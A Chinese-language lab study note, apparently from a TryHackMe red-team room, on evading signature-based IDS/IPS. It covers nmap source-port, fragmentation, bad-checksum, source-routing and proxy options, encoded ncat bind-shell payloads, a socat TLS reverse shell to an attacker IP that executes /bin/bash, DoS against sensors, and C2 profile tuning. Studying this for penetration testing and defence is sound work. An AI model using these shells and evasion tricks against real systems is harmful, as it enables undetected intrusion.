规避思路
规避基于签名的 IDS/IPD, 我们需要使我们的流量不匹配任何 IDS/IPS 签名,主要的四种方法为:
- 利用协议规避
- 利用 payload 规避
- 利用路由规避
- 利用 DDOS 规避
利用协议规避
:::info
- 依赖不同的协议
- 操作 (源) TCP/UDP 端口
- 使用 IP 包分片
- 发送无效数据包
:::
不同的协议
IDS/IPS 系统可能被配置为阻止某些协议并允许其他协议,例如,我们可以选择 UDP DNS 而不是 HTTP 来传输我们的数据.这是一个 IPS 设置阻止 DNS 查询和 HTTP 请求,并且它强制执行本地机器不能查询外部 DNS 服务器而应该查询本地 DNS 服务器的策略;此外,它强制执行安全的 HTTP 通信。对于 HTTPS,它相对宽松。在这种情况下,使用 HTTPS 隧道传输流量看起来是一种很有前途的规避 IPS 的方法
这时候我们可以考虑使用 nc 进行监听会话
操作(源) TCP/UDP 端口
一般来说,端口号是检测所用服务的主要指标, 但是我们可以通过一个端口发送流量,实际上流量却是流向另一个服务
我们可以使用 Nmap 的 -g port
或者 --source-port PORT
使我们的流量从一个特定的源端口发送出去,比如: nmap -sS -Pn -g 80 -F 10.0.0.0.0
这时候表面看起来我们是和 80 端口交互但是实际上是和其他端口交互:
使用 IP 包分片
IPv4 中另一种可能的方法是 IP 数据包分段,即会话拼接。假设是,如果将与攻击相关的数据包分成更小的数据包,您将避免匹配IDS签名。如果 IDS 正在寻找特定的字节流来检测恶意负载,请将您的负载分成多个数据包。除非 IDS 重新组装数据包,否则不会触发规则Nmap 中提供了一些参数用于分割数据包:
<font style="color:rgb(33, 37, 41);">-f</font>
: 将 IP 数据包的数据设置为 8 字节<font style="color:rgb(33, 37, 41);">-ff</font>
: 限制 IP 数据包的数据最多为 16 字节<font style="color:rgb(33, 37, 41);">--mtu size</font>
: 为 IP 数据包中携带的数据提供自定义大小,大小应该是 8 的配置
发送无效数据包
一般来说,系统对有效数据包的响应往往是可以预测的。但是,系统如何响应无效数据包可能还不清楚。例如,IDS/IPS 可能会处理无效数据包,而目标系统可能会忽略它Nmap 可以通过多种方式创建无效数据包,两个常见的选项:
- 无效的 TCP/UDP校验和
- 无效的 TCP 标志
Nmap 允许您使用选项发送带有错误 TCP/UDP 校验和的数据包 --badsum
。不正确的校验和表示原始数据包在发送程序的路径中某处已被更改。
Nmap 还允许您发送带有自定义TCP标志的数据包,包括无效的。该选项 --scanflags
允许您选择要设置的标志。
- URG 对于紧急
- ACK 确认
- PSH 对于推送
- RST 重置
- SYN 对于同步
- FIN 完成
利用 Payload 规避
:::info
- 混淆和编码有效 Payload
- 加密信道
- 修改 SHELLCODE
:::
混淆和编码 Payload
由于IDS规则非常具体,您可以进行微小的更改以避免检测。这些更改包括添加额外的字节、混淆攻击数据和加密通信比如我们可以将
<font style="color:rgb(33, 37, 41);">ncat -nvlp 1234 -e /bin/bash</font>
进行一个编码转换
Base64
pentester@TryHackMe$ cat input.txt
ncat -lvnp 1234 -e /bin/bash
$ base64 input.txt
bmNhdCAtbHZucCAxMjM0IC1lIC9iaW4vYmFzaA==
URL
pentester@TryHackMe$ urlencode ncat -lvnp 1234 -e /bin/bash
ncat%20-lvnp%201234%20-e%20%2Fbin%2Fbash
Unicode
加密信道
由于 IDS/IPS 不会检查加密数据,因此攻击者可以利用加密来逃避检测。与编码不同,加密需要加密密钥
最直接的方法是我们创建自己的加密密钥,并设置 socat
在连接是使用加密密钥加密
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
- req 表示这是一个证书签名请求。显然,我们不会提交我们的证书进行签名。
- -x509 指定我们需要 X.509 证书
- -newkey rsa:4096 使用 RSA 创建新的证书请求和新的私钥,密钥大小为 4096 位。(您可以为 RSA 密钥大小使用其他选项,例如-newkey rsa:2048。)
- -days 365 显示我们证书的有效期为一年
- -subj 通过命令行设置数据,例如组织和国家。
- -nodes 简化我们的命令,不加密私钥
- -keyout PRIVATE_KEY 指定我们要保存私钥的文件名
- -out CERTIFICATE 指定我们要写入证书请求的文件名
这是会创建一个私钥 thm-reverse.key
和一个证书 thm-reverse.crt
,我们需要创建一个 PEM 文件:
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
现在我们就可以在本地
开启监听并使用密钥加密和客户端的通信:
socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
现在我们需要在目标系统上启动连接
pentester@target$ socat OPENSSL:10.20.30.129:4443,verify=0 EXEC:/bin/bash
这时候如果我们查看 /etc/passwd
我们抓取到的流量为:
修改数据
考虑您想要使用 Ncat 创建绑定 shell 的简单情况。以下命令 ncat -lvnp 1234 -e /bin/bash
告诉我们ncat监听TCP端口 1234 并将 Bash shell 绑定到它。如果你想检测包含此类命令的数据包,你需要考虑一些特定的东西来匹配签名,但不要太具体
ncat -lvnp
通过改变标志的顺序可以很容易地逃避扫描。- 另一方面,
ncat -
可以通过添加额外的空白来避免检查有效负载,例如ncat -
它仍然可以在目标系统上正确运行。 - 如果IDS正在寻找ncat,那么对原始命令的简单更改将不会逃避检测。我们需要根据目标系统/应用程序考虑更复杂的方法。一种选择是使用不同的命令,例如
nc
或socat
。或者,如果目标系统可以正确处理它,您可以考虑使用不同的编码。
利用路由规避
:::info
通过路线操纵规避包括:- 依赖源路由
- 使用代理服务器
:::
依赖源路由
在很多情况下,我们可以使用源路由强制数据包使用特定路由到达目的地, Nmap 使用 --ip-options
来进行操控:
- 可以使用指定松散路由
L
。例如,--ip-options "L 10.10.10.50 10.10.50.250"
请求通过提供的两个 IP 地址路由您的扫描数据包 - 可以使用 指定严格路由
S
。严格路由要求您设置系统和目标主机之间的每一跳。例如,--ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"
指定数据包在到达目标主机之前经过这三跳
代理服务器
使用代理服务器可以帮助隐藏您的来源。Nmap 提供了一个选项--proxies
,该选项采用逗号分隔的代理 URL 列表。每个 URL 应以格式表示 proto://host:port
。有效的协议是HTTP和 SOCKS4;
这时候我们需要将命令编辑为 nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 MACHINE_IP
, 这样,您就可以让扫描通过HTTP代理主机 1,然后是 SOCKS4 代理主机 2,然后到达您的目标
利用 DDOS
:::info
通过战术DoS进行规避包括:- 针对 IDS/IPS 启动拒绝服务
- 对日志服务器启动拒绝服务
:::
- 创建大量的良性流量,只会使 IDS/IPS 的处理能力过载。
- 创建大量非恶意流量,这些流量仍会进入日志。此操作会阻塞与日志服务器的通信通道或超过其磁盘写入容量。
C2
Cobalt Strike 和 Empire 等渗透测试框架提供可延展的命令和控制 ( C2 ) 配置文件。这些配置文件允许进行各种微调以规避 IDS/IPS 系统。如果您正在使用这样的框架,那么创建自定义配置文件而不是依赖默认配置文件是值得的。您可以控制的示例变量包括:- User-Agent : 你所使用的工具或框架可以通过其默认设置的用户代理暴露你。因此,将用户代理设置为无害的东西并进行测试以确认你的设置始终是很重要的
- Sleep Time : 睡眠时间允许你控制信标签入之间的回调间隔。换句话说,你可以控制受感染系统尝试连接到控制系统的频率。
- Jitter : 这个变量让你给睡眠时间增加一些随机性,由抖动百分比指定。30%的抖动导致睡眠时间为±30%,以进一步躲避检测。
- SSL Certificate : 使用外观真实的SSL证书将显著提高你躲避检测的机会。这是一项非常值得的时间投资。
- DNS Beacon : 考虑一下你使用DNS协议来渗出数据的情况。你可以通过设置DNS服务器和DNS查询中的主机名来微调DNS信标。该主机名将持有渗出的数据。